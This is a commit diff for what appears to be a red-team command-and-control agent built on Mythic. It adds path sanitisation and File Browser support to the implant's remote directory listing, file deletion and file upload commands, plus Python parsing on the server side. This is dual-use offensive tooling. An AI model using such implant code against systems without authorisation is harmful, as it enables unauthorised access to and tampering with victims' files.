File Browser completed

This commit is contained in:
marcos.luna
2025-10-31 12:00:15 +01:00
parent 519d2a8946
commit eca961ac50
8 changed files with 739 additions and 41 deletions
@@ -89,12 +89,28 @@ VOID ListarDirectorio(PAnalizador argumentos){
UINT32 tamanoPath = 0; UINT32 tamanoPath = 0;
SIZE_T tamano = 0; SIZE_T tamano = 0;
char nombreFichero[MAX_FILENAME]; char nombreFichero[MAX_FILENAME] = {0};
PCHAR fichero = getString(argumentos, &tamano); PCHAR fichero = getString(argumentos, &tamano);
strcpy(nombreFichero, fichero); if (!fichero || tamano == 0) {
_err("Invalid path received");
return;
}
_dbg("Filename: %s", nombreFichero); // Asegurar null-termination: copiar máximo tamano-1 bytes y agregar null al final
SIZE_T copyLen = (tamano < MAX_FILENAME - 1) ? tamano : MAX_FILENAME - 1;
memcpy(nombreFichero, fichero, copyLen);
nombreFichero[copyLen] = '\0';
// Limpiar cualquier carácter no imprimible o inválido al final
for (SIZE_T i = 0; i < copyLen; i++) {
if (nombreFichero[i] == '\0' || nombreFichero[i] == '\r' || nombreFichero[i] == '\n') {
nombreFichero[i] = '\0';
break;
}
}
_dbg("Filename: %s (length: %zu)", nombreFichero, strlen(nombreFichero));
PPaquete salida = nuevoPaquete(0, FALSE); PPaquete salida = nuevoPaquete(0, FALSE);
@@ -127,26 +143,34 @@ VOID ListarDirectorio(PAnalizador argumentos){
} }
SYSTEMTIME systemTime, localTime; SYSTEMTIME systemTime, localTime;
DWORD fileCount = 0;
do{ do{
// Skip . and .. entries
if (strcmp(datosEncontrados.cFileName, ".") == 0 || strcmp(datosEncontrados.cFileName, "..") == 0) {
continue;
}
FileTimeToSystemTime(&datosEncontrados.ftLastWriteTime, &systemTime); FileTimeToSystemTime(&datosEncontrados.ftLastWriteTime, &systemTime);
SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime); SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime);
if (datosEncontrados.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){ if (datosEncontrados.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){
PackageAddFormatPrintf(salida, FALSE, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n", PackageAddFormatPrintf(salida, FALSE, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
localTime.wMonth, localTime.wDay, localTime.wYear, localTime.wMonth, localTime.wDay, localTime.wYear,
localTime.wHour, localTime.wMinute, localTime.wSecond, localTime.wHour, localTime.wMinute, localTime.wSecond,
datosEncontrados.cFileName); datosEncontrados.cFileName);
fileCount++;
}else{ }else{
PackageAddFormatPrintf(salida, FALSE, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n", PackageAddFormatPrintf(salida, FALSE, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
((ULONGLONG)datosEncontrados.nFileSizeHigh << 32) | datosEncontrados.nFileSizeLow, ((ULONGLONG)datosEncontrados.nFileSizeHigh << 32) | datosEncontrados.nFileSizeLow,
localTime.wMonth, localTime.wDay, localTime.wYear, localTime.wMonth, localTime.wDay, localTime.wYear,
localTime.wHour, localTime.wMinute, localTime.wSecond, localTime.wHour, localTime.wMinute, localTime.wSecond,
datosEncontrados.cFileName); datosEncontrados.cFileName);
fileCount++;
} }
} while (FindNextFileA(primerFichero, &datosEncontrados)); } while (FindNextFileA(primerFichero, &datosEncontrados));
_dbg("[ls] Total files/directories listed: %lu", fileCount);
FindClose(primerFichero); FindClose(primerFichero);
@@ -405,22 +429,45 @@ VOID BorrarDirectoriosHijos(char* rutaFichero){
} }
VOID EliminarRuta(PAnalizador argumentos){ VOID EliminarRuta(PAnalizador argumentos){
#define MAX_PATH_RM 0x4000
SIZE_T tamanoUuid = 36; SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid); PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos); UINT32 nbArg = getInt32(argumentos);
SIZE_T tamano = 0; SIZE_T tamano = 0;
PCHAR ruta = getString(argumentos, &tamano); PCHAR rutaRaw = getString(argumentos, &tamano);
if (nbArg == 0) if (nbArg == 0)
return; return;
if (EsDirectorio(ruta)){ if (!rutaRaw || tamano == 0) {
_err("[rm] Invalid path received");
goto end;
}
// Asegurar null-termination: copiar máximo tamano-1 bytes y agregar null al final
char ruta[MAX_PATH_RM] = {0};
SIZE_T copyLen = (tamano < MAX_PATH_RM - 1) ? tamano : MAX_PATH_RM - 1;
memcpy(ruta, rutaRaw, copyLen);
ruta[copyLen] = '\0';
// Limpiar cualquier carácter no imprimible o inválido al final
for (SIZE_T i = 0; i < copyLen; i++) {
if (ruta[i] == '\0' || ruta[i] == '\r' || ruta[i] == '\n') {
ruta[i] = '\0';
break;
}
}
_dbg("[rm] Deleting path: %s (length: %zu)", ruta, strlen(ruta));
if (EsDirectorio(ruta)){
_dbg("[rm] Path is a directory, deleting recursively");
BorrarDirectoriosHijos(ruta); BorrarDirectoriosHijos(ruta);
RemoveDirectoryA(ruta); RemoveDirectoryA(ruta);
}else{ }else{
_dbg("[rm] Path is a file, deleting");
DeleteFileA(ruta); DeleteFileA(ruta);
} }
@@ -445,7 +492,7 @@ VOID EliminarRuta(PAnalizador argumentos){
end:; end:;
// Cleanup // Cleanup
LocalFree(ruta); LocalFree(rutaRaw);
} }
// Helper function to detect credentials in file content (internal use only) // Helper function to detect credentials in file content (internal use only)
@@ -1287,17 +1334,87 @@ VOID SubirFichero(PAnalizador argumentos) {
SIZE_T tamano = 0; SIZE_T tamano = 0;
PCHAR file_id = getString(argumentos, &tamano); PCHAR file_id = getString(argumentos, &tamano);
SIZE_T tamano2 = 0; SIZE_T tamano2 = 0;
PCHAR rutaDestino = getString(argumentos, &tamano2); PCHAR rutaDestinoRaw = getString(argumentos, &tamano2);
_dbg("[upload] File ID: \"%s\", Ruta destino: \"%s\"", file_id, rutaDestino); if (!rutaDestinoRaw || tamano2 == 0) {
_err("[upload] Invalid path received");
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: Ruta inválida recibida\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
goto end;
}
// Normalizar path y verificar que no termine en backslash // Asegurar null-termination: copiar máximo tamano2-1 bytes y agregar null al final
char fullPath[2048] = {0}; #define MAX_PATH_UPLOAD 2048
if (GetFullPathNameA(rutaDestino, sizeof(fullPath), fullPath, NULL) == 0) { char rutaDestino[MAX_PATH_UPLOAD] = {0};
strncpy(fullPath, rutaDestino, sizeof(fullPath) - 1); SIZE_T copyLen = (tamano2 < MAX_PATH_UPLOAD - 1) ? tamano2 : MAX_PATH_UPLOAD - 1;
memcpy(rutaDestino, rutaDestinoRaw, copyLen);
rutaDestino[copyLen] = '\0';
// Limpiar cualquier carácter no imprimible o inválido (incluyendo caracteres nulos en medio)
SIZE_T cleanLen = 0;
for (SIZE_T i = 0; i < copyLen; i++) {
char c = rutaDestino[i];
// Saltar caracteres nulos, retornos de carro y saltos de línea
if (c == '\0' || c == '\r' || c == '\n') {
break;
}
// Permitir caracteres válidos para rutas Windows (caracteres imprimibles comunes)
// Permitir: letras, números, espacios, y caracteres especiales comunes en rutas
if ((c >= 32 && c <= 126) || c == '\\' || c == '/' || c == ':') {
rutaDestino[cleanLen++] = c;
}
}
rutaDestino[cleanLen] = '\0';
copyLen = cleanLen;
_dbg("[upload] File ID: \"%s\", Ruta destino (raw len=%zu): \"%s\"", file_id, tamano2, rutaDestino);
// Normalizar path: primero quitar dobles backslashes manualmente
char normalizedPath[MAX_PATH_UPLOAD] = {0};
SIZE_T srcLen = strlen(rutaDestino);
SIZE_T j = 0;
for (SIZE_T i = 0; i < srcLen && j < sizeof(normalizedPath) - 1; i++) {
if (rutaDestino[i] == '\\' && i + 1 < srcLen && rutaDestino[i + 1] == '\\') {
// Doble backslash, usar solo uno (excepto si es al inicio como \\server)
if (i == 0 || (i == 2 && rutaDestino[1] == '\\')) {
// Mantener doble backslash para UNC paths (\\server\share)
normalizedPath[j++] = rutaDestino[i];
} else {
// Doble backslash en medio, usar solo uno
normalizedPath[j++] = '\\';
i++; // Saltar el siguiente backslash
}
} else {
normalizedPath[j++] = rutaDestino[i];
}
}
normalizedPath[j] = '\0';
_dbg("[upload] Path después de normalizar dobles backslashes: \"%s\"", normalizedPath);
// Intentar normalizar path usando GetFullPathNameA
char fullPath[MAX_PATH_UPLOAD] = {0};
DWORD pathLenResult = GetFullPathNameA(normalizedPath, sizeof(fullPath), fullPath, NULL);
if (pathLenResult == 0 || pathLenResult >= sizeof(fullPath)) {
// Si GetFullPathNameA falla, usar la ruta normalizada directamente
DWORD lastError = GetLastError();
_dbg("[upload] GetFullPathNameA falló (ret=%lu, error=%lu) o path muy largo, usando ruta normalizada", pathLenResult, lastError);
strncpy(fullPath, normalizedPath, sizeof(fullPath) - 1);
fullPath[sizeof(fullPath) - 1] = '\0'; fullPath[sizeof(fullPath) - 1] = '\0';
} }
// Asegurar null-termination en fullPath
fullPath[sizeof(fullPath) - 1] = '\0';
_dbg("[upload] Full path normalizado: \"%s\" (len=%zu)", fullPath, strlen(fullPath));
// Verificar si el path es un directorio (termina en \ o es un directorio existente) // Verificar si el path es un directorio (termina en \ o es un directorio existente)
SIZE_T pathLen = strlen(fullPath); SIZE_T pathLen = strlen(fullPath);
if (pathLen > 0 && (fullPath[pathLen - 1] == '\\' || fullPath[pathLen - 1] == '/')) { if (pathLen > 0 && (fullPath[pathLen - 1] == '\\' || fullPath[pathLen - 1] == '/')) {
@@ -1328,6 +1445,35 @@ VOID SubirFichero(PAnalizador argumentos) {
goto end; goto end;
} }
// Verificar que el directorio padre exista, y crearlo si no existe
char parentDir[MAX_PATH_UPLOAD] = {0};
strncpy(parentDir, fullPath, sizeof(parentDir) - 1);
parentDir[sizeof(parentDir) - 1] = '\0';
// Encontrar el último backslash
char* lastSlash = strrchr(parentDir, '\\');
if (lastSlash && lastSlash > parentDir) {
*lastSlash = '\0';
// Verificar si el directorio padre existe
DWORD parentAttrib = GetFileAttributesA(parentDir);
if (parentAttrib == INVALID_FILE_ATTRIBUTES) {
// Directorio padre no existe, intentar crearlo
_dbg("[upload] Directorio padre no existe, creándolo: %s", parentDir);
// Crear directorios padre recursivamente usando SHCreateDirectoryExA
// Como alternativa, usar una función simple que cree directorios uno por uno
if (!CreateDirectoryA(parentDir, NULL)) {
DWORD createError = GetLastError();
if (createError != ERROR_ALREADY_EXISTS) {
_err("[upload] No se pudo crear directorio padre '%s'. Código: %lu", parentDir, createError);
}
}
}
}
_dbg("[upload] Intentando crear archivo: %s", fullPath);
// Crear archivo de destino // Crear archivo de destino
HANDLE hFile = CreateFileA( HANDLE hFile = CreateFileA(
fullPath, fullPath,
@@ -1341,7 +1487,7 @@ VOID SubirFichero(PAnalizador argumentos) {
if (hFile == INVALID_HANDLE_VALUE) { if (hFile == INVALID_HANDLE_VALUE) {
DWORD error = GetLastError(); DWORD error = GetLastError();
_err("[upload] No se pudo crear el archivo. Código: %lu\n", error); _err("[upload] No se pudo crear el archivo '%s'. Código: %lu (GetLastError)", fullPath, error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE); addString(respuestaError, tareaUuid, FALSE);
@@ -29,6 +29,7 @@ class DownloadCommand(CommandBase):
help_cmd = "download <path>" help_cmd = "download <path>"
description = "Download a file from the target to the Mythic server" description = "Download a file from the target to the Mythic server"
version = 1 version = 1
supported_ui_features = ["file_browser:download"]
author = "@KaseyaOFSTeam" author = "@KaseyaOFSTeam"
argument_class = DownloadArguments argument_class = DownloadArguments
@@ -2,6 +2,8 @@ from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import * from mythic_container.MythicRPC import *
import re import re
import string, json import string, json
import os
from datetime import datetime
import logging import logging
@@ -22,26 +24,74 @@ class LsArguments(TaskArguments):
] ]
async def parse_arguments(self): async def parse_arguments(self):
logging.info("Parse Aguments") if len(self.command_line) > 0:
pass # Check if it's JSON from File Browser
if self.command_line[0] == '{':
try:
temp_json = json.loads(self.command_line)
if 'host' in temp_json:
# File Browser format: combine path + file
full_path = temp_json.get('full_path', '')
if full_path:
self.add_arg("path", full_path)
else:
path = temp_json.get('path', '')
file = temp_json.get('file', '')
if path and file:
# Normalize path separators
if not path.endswith('\\') and not path.endswith('/'):
path = path + "\\"
self.add_arg("path", path + file)
elif path:
self.add_arg("path", path)
else:
self.add_arg("path", ".\\*")
self.add_arg("host", temp_json.get('host', ''))
self.add_arg("file_browser", "true")
return
except:
pass
# Regular command line usage
self.add_arg("path", self.command_line)
self.add_arg("host", "")
self.add_arg("file_browser", "false")
else:
# No arguments, list current directory
self.add_arg("path", ".\\*")
self.add_arg("host", "")
self.add_arg("file_browser", "false")
async def parse_dictionary(self, dictionary): async def parse_dictionary(self, dictionary):
logging.info("Parse Dictionary") logging.info(f"Parse Dictionary - {dictionary}")
if "host" in dictionary: if "host" in dictionary:
# File Browser format
logging.info(f"Command came from File Browser UI - {dictionary}") logging.info(f"Command came from File Browser UI - {dictionary}")
self.add_arg("path", dictionary["path"] + "\\" + dictionary["file"]) full_path = dictionary.get('full_path', '')
# self.add_arg("file_browser", type=ParameterType.Boolean, value=True) if full_path:
self.add_arg("path", full_path)
else:
path = dictionary.get("path", '')
file = dictionary.get("file", '')
if path and file:
if not path.endswith('\\') and not path.endswith('/'):
path = path + "\\"
self.add_arg("path", path + file)
elif path:
self.add_arg("path", path)
else:
self.add_arg("path", ".\\*")
self.add_arg("host", dictionary.get("host", ""))
self.add_arg("file_browser", "true")
else: else:
# Command line usage
logging.info(f"Command came from CMDLINE - {dictionary}") logging.info(f"Command came from CMDLINE - {dictionary}")
arg_path = dictionary.get("path") arg_path = dictionary.get("path")
if arg_path: if arg_path:
self.add_arg("path", arg_path) self.add_arg("path", arg_path)
else: else:
self.add_arg("path", ".\\*") # List current directory if no args self.add_arg("path", ".\\*")
self.add_arg("host", "")
self.add_arg("file_browser", "true") self.add_arg("file_browser", "false")
self.load_args_from_dictionary(dictionary) self.load_args_from_dictionary(dictionary)
@@ -98,4 +148,191 @@ class LsCommand(CommandBase):
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
# Log that process_response was called
logging.info(f"[FILE_BROWSER] process_response called for task {task.Task.ID}")
logging.info(f"[FILE_BROWSER] response type: {type(response)}")
if response:
logging.info(f"[FILE_BROWSER] response keys: {list(response.keys()) if isinstance(response, dict) else 'not a dict'}")
# Check if this was from File Browser
is_file_browser = task.args.get_arg("file_browser") == "true"
logging.info(f"[FILE_BROWSER] is_file_browser={is_file_browser}")
# Check if translator already parsed file_browser format
# The translator automatically detects and parses File Browser format,
# so we only need to enhance it with host info if needed
if isinstance(response, dict) and "file_browser" in response:
logging.info(f"[FILE_BROWSER] Translator already parsed file_browser, just adding host if missing")
file_browser_data = response.get("file_browser")
if file_browser_data and not file_browser_data.get("host"):
host = task.args.get_arg("host") or ""
if not host and task.Callback:
host = task.Callback.Host
file_browser_data["host"] = host
resp.ProcessResponse = response
return resp
# Only parse if translator didn't already do it (fallback for non-File Browser commands)
if is_file_browser and response:
try:
# Agent output format:
# Line 1: directory path
# Lines 2+: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
output_text = response.get("user_output", "")
if not output_text:
return resp
lines = [l.strip() for l in output_text.strip().split('\n') if l.strip()]
if len(lines) < 1:
logging.warning("[FILE_BROWSER] No lines in output")
return resp
logging.info(f"[FILE_BROWSER] Parsing {len(lines)} lines from output")
logging.info(f"[FILE_BROWSER] First few lines: {lines[:3]}")
# First line is the directory path being listed
dir_path = lines[0].strip()
# Normalize path
if dir_path.endswith('\\*'):
dir_path = dir_path[:-2]
if dir_path.endswith('*'):
dir_path = dir_path[:-1]
dir_path = dir_path.rstrip('\\/')
# Determine parent path
if dir_path.endswith(':\\') or dir_path == '':
parent_path = ""
else:
parent_path = os.path.dirname(dir_path) if os.path.dirname(dir_path) else ""
# Get hostname
host = task.args.get_arg("host") or ""
if not host:
host = task.Callback.Host if task.Callback else ""
# Determine if the listed item is a file or directory
# Since we're listing a directory, it's typically not a file
is_file = False
name = os.path.basename(dir_path) if dir_path else ""
if not name:
# Root directory case (e.g., C:\)
if len(dir_path) == 2 and dir_path[1] == ':':
name = dir_path[0] + ':'
parent_path = ""
else:
name = dir_path
# Parse file/directory entries
# Format: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
files = []
for i, line in enumerate(lines[1:], 1): # Start from line 1 (skip path line)
parts = line.split('\t')
logging.debug(f"[FILE_BROWSER] Line {i}: {line[:100]}... (parts: {len(parts)})")
if len(parts) >= 4:
file_type = parts[0].strip() # D or F
size_str = parts[1].strip()
datetime_str = parts[2].strip() # MM/DD/YYYY HH:MM:SS (already combined)
file_name = parts[3].strip() if len(parts) > 3 else ""
# Skip empty lines or invalid entries
if not file_type or not file_name:
continue
# Skip . and ..
if file_name in ['.', '..']:
continue
try:
# Parse date: MM/DD/YYYY HH:MM:SS
date_obj = datetime.strptime(datetime_str, "%m/%d/%Y %H:%M:%S")
modify_time_ms = int(date_obj.timestamp() * 1000)
# Use modify_time as access_time (agent doesn't provide separate access time)
access_time_ms = modify_time_ms
# Filter out invalid dates (before 1980 or after year 2100)
# This helps filter out files with corrupted timestamps (e.g., 1970 epoch issues)
if modify_time_ms < 315532800000 or modify_time_ms > 4102444800000: # Before 1980-01-01 or after 2100-01-01
logging.warning(f"[FILE_BROWSER] Skipping file with invalid date: {file_name} (timestamp: {modify_time_ms}, date: {datetime_str})")
continue
except Exception as date_err:
logging.warning(f"Could not parse date '{datetime_str}': {date_err}")
# Skip files with unparseable dates
continue
try:
# Parse size - remove any text like "b" or "by" at the end
size_str_clean = re.sub(r'[^\d]', '', size_str) # Remove all non-digits
if size_str_clean:
size = int(size_str_clean) if file_type == 'F' else 0
else:
size = 0
except Exception as size_err:
logging.warning(f"Could not parse size '{size_str}': {size_err}")
size = 0
# Get file attributes as permissions (Windows specific)
permissions = {
"attributes": "DIRECTORY" if file_type == 'D' else "FILE"
}
# Skip files with invalid names or empty names
if file_name and file_name.strip() and file_name not in ['.', '..']:
files.append({
"is_file": file_type == 'F',
"permissions": permissions,
"name": file_name,
"access_time": access_time_ms,
"modify_time": modify_time_ms,
"size": size
})
logging.debug(f"[FILE_BROWSER] Added: {file_name} ({'file' if file_type == 'F' else 'dir'}, size={size})")
else:
logging.warning(f"[FILE_BROWSER] Skipping line {i} - insufficient parts: {len(parts)}")
# Remove duplicates by name to ensure clean response
seen_files = {}
unique_files = []
for f in files:
file_name = f.get("name", "")
# Only add if we haven't seen this file name before
if file_name and file_name not in seen_files:
seen_files[file_name] = True
unique_files.append(f)
# Use current timestamp for modify_time to help Mythic identify fresh responses
import time
current_timestamp_ms = int(time.time() * 1000)
# Build file_browser response
file_browser_data = {
"host": host,
"is_file": is_file,
"permissions": {"attributes": "DIRECTORY"} if not is_file else {"attributes": "FILE"},
"name": name,
"parent_path": parent_path,
"success": True,
"access_time": current_timestamp_ms, # Use current time to help with cache invalidation
"modify_time": current_timestamp_ms, # Use current time to help with cache invalidation
"size": 0,
"update_deleted": True, # Tell Mythic this is the complete list - mark missing files as deleted
"files": unique_files # Use deduplicated files list - complete and fresh
}
logging.info(f"[FILE_BROWSER] Sending fresh listing for '{name}' with {len(unique_files)} unique files (timestamp: {current_timestamp_ms}, update_deleted=True)")
# Add file_browser to response
# Merge with existing response (like rm.py does)
resp.ProcessResponse = response if isinstance(response, dict) else {}
resp.ProcessResponse["file_browser"] = file_browser_data
logging.info(f"[FILE_BROWSER] Added {len(files)} files/directories to file_browser response")
logging.info(f"[FILE_BROWSER] ProcessResponse keys: {list(resp.ProcessResponse.keys())}")
except Exception as e:
logging.error(f"Error parsing file browser response: {str(e)}")
import traceback
logging.error(traceback.format_exc())
return resp return resp
@@ -1,6 +1,8 @@
from mythic_container.MythicCommandBase import * from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import * from mythic_container.MythicRPC import *
import logging
logging.basicConfig(level=logging.INFO)
class RmArguments(TaskArguments): class RmArguments(TaskArguments):
def __init__(self, command_line, **kwargs): def __init__(self, command_line, **kwargs):
@@ -22,8 +24,45 @@ class RmArguments(TaskArguments):
self.add_arg("path", self.command_line) self.add_arg("path", self.command_line)
async def parse_dictionary(self, dictionary): async def parse_dictionary(self, dictionary):
logging.info(f"[rm] Parse Dictionary - {dictionary}")
# Load args first (will set path from dictionary)
self.load_args_from_dictionary(dictionary) self.load_args_from_dictionary(dictionary)
# Then override with processed values if coming from File Browser
if "host" in dictionary:
# File Browser format
logging.info(f"[rm] Command came from File Browser UI - {dictionary}")
full_path = dictionary.get('full_path', '')
if full_path:
self.add_arg("path", full_path)
logging.info(f"[rm] Using full_path: {full_path}")
else:
path = dictionary.get("path", '')
file = dictionary.get("file", '')
if path and file:
# Combine path and file
if not path.endswith('\\') and not path.endswith('/'):
path = path + "\\"
combined_path = path + file
self.add_arg("path", combined_path)
logging.info(f"[rm] Combined path + file: {combined_path}")
elif path:
self.add_arg("path", path)
logging.info(f"[rm] Using path only: {path}")
else:
raise ValueError("[rm] File Browser request missing both path and file")
self.add_arg("host", dictionary.get("host", ""))
else:
# Command line usage - already loaded from dictionary, just verify
logging.info(f"[rm] Command came from CMDLINE - {dictionary}")
arg_path = self.get_arg("path")
if not arg_path:
arg_path = dictionary.get("path")
if arg_path:
self.add_arg("path", arg_path)
else:
raise ValueError("[rm] No path specified")
class RmCommand(CommandBase): class RmCommand(CommandBase):
cmd = "rm" cmd = "rm"
needs_admin = False needs_admin = False
@@ -53,4 +92,25 @@ class RmCommand(CommandBase):
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
# Check if removal was successful by checking user_output
if response:
user_output = response.get("user_output", "")
# If output doesn't contain error indicators, assume success
if user_output and not any(err in user_output.lower() for err in ["error", "failed", "cannot", "cannot"]):
# Get the path that was deleted
path = task.args.get_arg("path")
if path:
# Get hostname
host = task.Callback.Host if task.Callback else ""
# Add removed_files array to response (merge with existing response)
resp.ProcessResponse = response if isinstance(response, dict) else {}
resp.ProcessResponse["removed_files"] = [
{
"host": host,
"path": path
}
]
return resp return resp
@@ -55,6 +55,7 @@ class UploadCommand(CommandBase):
help_cmd = "upload <file> <path>" help_cmd = "upload <file> <path>"
description = "Upload a file from the Mythic server to the target" description = "Upload a file from the Mythic server to the target"
version = 1 version = 1
supported_ui_features = ["file_browser:upload"]
author = "@KaseyaOFSTeam" author = "@KaseyaOFSTeam"
argument_class = UploadArguments argument_class = UploadArguments
@@ -79,12 +80,36 @@ class UploadCommand(CommandBase):
file_info = file_search.Files[0] file_info = file_search.Files[0]
filename = file_info.Filename filename = file_info.Filename
# Normalize path: replace double backslashes with single backslash
if path:
while "\\\\" in path:
path = path.replace("\\\\", "\\")
# If path is empty, use current directory + filename # If path is empty, use current directory + filename
if not path or path.strip() == "": if not path or path.strip() == "":
path = ".\\" + filename path = ".\\" + filename
# If path ends with backslash or forward slash, append filename # If path ends with backslash or forward slash, append filename
elif path.endswith("\\") or path.endswith("/"): elif path.endswith("\\") or path.endswith("/"):
path = path.rstrip("\\/") + "\\" + filename path = path.rstrip("\\/") + "\\" + filename
# If path doesn't end with a backslash, check if it's a directory
# If it's a directory (or looks like one), append filename
else:
import os
path_normalized = path.rstrip("\\/")
# Get the last component of the path (filename or directory name)
path_basename = os.path.basename(path_normalized)
# Heuristic: If the basename doesn't have a file extension,
# or if it's just a drive letter (like "C:"), treat as directory
has_extension = '.' in path_basename
is_drive_letter = len(path_basename) == 2 and path_basename[1] == ':'
# If no extension and not empty, likely a directory - append filename
# Also treat drive letters as directories
if is_drive_letter or (not has_extension and path_basename):
path = path_normalized + "\\" + filename
# Otherwise, assume it's already a full file path and use as-is
response.DisplayParams = f"file_id: {file_id}, path: {path}, filename: {filename}" response.DisplayParams = f"file_id: {file_id}, path: {path}, filename: {filename}"
# Update the path argument with the final path (including filename if needed) # Update the path argument with the final path (including filename if needed)
@@ -62,18 +62,30 @@ def responseTasking(tasks):
data = command_code + task_id data = command_code + task_id
if task["parameters"] != "": if task["parameters"] != "":
parameters = json.loads(task["parameters"]) parameters = json.loads(task["parameters"])
# Normalize paths for upload command - replace double backslashes # Normalize paths for upload and ls commands - replace double backslashes
if command_to_run == "upload" and "path" in parameters: if command_to_run in ["upload", "ls", "download", "rm", "cat", "mkdir", "cp"] and "path" in parameters:
path = parameters["path"] path = parameters["path"]
if path: if path:
# Replace all sequences of double backslashes with single backslash # Replace all sequences of double backslashes with single backslash
while "\\\\" in path: while "\\\\" in path:
path = path.replace("\\\\", "\\") path = path.replace("\\\\", "\\")
# Ensure path doesn't have trailing nulls or invalid characters
path = path.rstrip('\x00')
parameters["path"] = path parameters["path"] = path
print(f"[DEBUG] Normalized path for {command_to_run}: {repr(path)}")
data += len(parameters).to_bytes(4,"big") data += len(parameters).to_bytes(4,"big")
for param in parameters: for param in parameters:
data += len(parameters[param]).to_bytes(4, "big") param_value = parameters[param]
data += parameters[param].encode() # Ensure parameter is a string and doesn't contain null bytes
if isinstance(param_value, str):
param_value = param_value.rstrip('\x00')
param_bytes = param_value.encode('utf-8')
# Remove any null bytes from the encoded string
param_bytes = param_bytes.replace(b'\x00', b'')
else:
param_bytes = str(param_value).encode('utf-8')
data += len(param_bytes).to_bytes(4, "big")
data += param_bytes
else: else:
data += b"\x00\x00\x00\x00" data += b"\x00\x00\x00\x00"
@@ -167,6 +167,146 @@ def parse_process_list(output_text):
return processes return processes
def parse_file_browser_list(output_text):
"""
Parsea el texto tab-separated de lista de archivos al formato JSON del File Browser.
Formato esperado del agente: path\nD/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME\n...
Formato requerido por Mythic File Browser según docs:
https://docs.mythic-c2.net/customizing/hooking-features/file-browser
"""
import os
from datetime import datetime
import re
lines = [l.strip() for l in output_text.strip().split('\n') if l.strip()]
if len(lines) < 2:
return None
try:
# Primera línea es el path del directorio
dir_path = lines[0].strip()
# Normalize path
if dir_path.endswith('\\*'):
dir_path = dir_path[:-2]
if dir_path.endswith('*'):
dir_path = dir_path[:-1]
dir_path = dir_path.rstrip('\\/')
# Determine parent path
if dir_path.endswith(':\\') or dir_path == '':
parent_path = ""
else:
parent_path = os.path.dirname(dir_path) if os.path.dirname(dir_path) else ""
# Determine name
name = os.path.basename(dir_path) if dir_path else ""
if not name:
if len(dir_path) == 2 and dir_path[1] == ':':
name = dir_path[0] + ':'
parent_path = ""
else:
name = dir_path
# Parse file/directory entries
# Format: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
files = []
for line in lines[1:]:
parts = line.split('\t')
if len(parts) >= 4:
file_type = parts[0].strip() # D or F
size_str = parts[1].strip()
datetime_str = parts[2].strip()
file_name = parts[3].strip() if len(parts) > 3 else ""
# Skip empty or invalid entries
if not file_type or not file_name:
continue
# Skip . and ..
if file_name in ['.', '..']:
continue
try:
# Parse date: MM/DD/YYYY HH:MM:SS
date_obj = datetime.strptime(datetime_str, "%m/%d/%Y %H:%M:%S")
modify_time_ms = int(date_obj.timestamp() * 1000)
access_time_ms = modify_time_ms
# Filter out invalid dates (before 1980 or after year 2100)
# This helps filter out files with corrupted timestamps (e.g., 1970 epoch issues)
if modify_time_ms < 315532800000 or modify_time_ms > 4102444800000: # Before 1980-01-01 or after 2100-01-01
print(f"[FILE_BROWSER] Skipping file with invalid date: {file_name} (timestamp: {modify_time_ms})")
continue
except:
modify_time_ms = 0
access_time_ms = 0
# Skip files with unparseable dates
print(f"[FILE_BROWSER] Skipping file with unparseable date: {file_name}")
continue
try:
# Parse size - remove any non-digit characters
size_str_clean = re.sub(r'[^\d]', '', size_str)
if size_str_clean:
size = int(size_str_clean) if file_type == 'F' else 0
else:
size = 0
except:
size = 0
permissions = {
"attributes": "DIRECTORY" if file_type == 'D' else "FILE"
}
files.append({
"is_file": file_type == 'F',
"permissions": permissions,
"name": file_name,
"access_time": access_time_ms,
"modify_time": modify_time_ms,
"size": size
})
# Build file_browser response
# Remove any duplicate files by name to ensure clean response
seen_files = {}
unique_files = []
for f in files:
file_name = f.get("name", "")
# Only add if we haven't seen this file name before
if file_name and file_name not in seen_files:
seen_files[file_name] = True
unique_files.append(f)
# Use current timestamp for modify_time to help Mythic identify fresh responses
import time
current_timestamp_ms = int(time.time() * 1000)
file_browser_data = {
"host": "", # Will be filled by Mythic based on callback
"is_file": False,
"permissions": {"attributes": "DIRECTORY"},
"name": name,
"parent_path": parent_path,
"success": True,
"access_time": current_timestamp_ms, # Use current time to help with cache invalidation
"modify_time": current_timestamp_ms, # Use current time to help with cache invalidation
"size": 0,
"update_deleted": True, # Tell Mythic this is the complete list - mark missing files as deleted
